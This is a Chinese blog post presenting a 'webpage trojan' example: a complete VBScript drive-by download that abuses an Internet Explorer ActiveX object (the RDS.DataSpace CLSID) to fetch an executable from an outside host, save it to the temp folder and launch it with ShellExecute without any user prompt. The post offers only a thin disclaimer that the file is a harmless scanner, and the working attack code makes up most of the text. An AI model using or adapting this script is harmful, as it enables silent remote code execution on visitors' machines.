网页木马代码例子（里面的文件是漏洞扫描器，呵呵）

163 阅读 0 评论 108 点赞

我是靠谱客的博主羞涩月亮，最近开发中收集的这篇文章主要介绍网页木马代码例子（里面的文件是漏洞扫描器，呵呵），觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

对于经常上网冲浪的朋友对于网页木马一定不会陌生，打开某个网站，莫名其妙的运行了某个木马，虽然在"Internet选项"里有"安全"设置，但是下面的代码就不会弹出任何信息就直接运行了程序，不信，follow me!
(提示: 只是了解一下技术和方法，千万别搞破坏，yexj00.exe是一个windows2000 漏洞扫描器和查漏补缺用的，不是病毒或木马，放心运行。)

复制代码代码如下:

<script language="VBScript"> 
    on error resume next 
    dl = "<a href="http://yexj00.5dm.cn/soft/yexj00.exe" target="_blank">http://yexj00.5dm.cn/soft/yexj00.exe</a>" 
    set ye=document.createElement("object") 
    yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 
   ye.setAttribute "classid",yStr 
    Set x = ye.CreateObject("Microsoft.XMLHTTP","") 
    set S = ye.createobject("ADODB.Stream","") 
    S.type = 1 
    x.Open "GET", dl, False 
    x.Send 
    fname="win2000漏洞扫描器.exe" 
    set F = ye.createobject("Scripting.FileSystemObject","") 
    set tmp = F.GetSpecialFolder(2) 
    fname= F.BuildPath(tmp,fname) 
    S.open 
    S.write x.responseBody 
    S.savetofile fname,2 
    S.close 
    set A=ye.createobject("Shell.Application","") 
      A.ShellExecute fname,"","",  "open",1 
    </script> 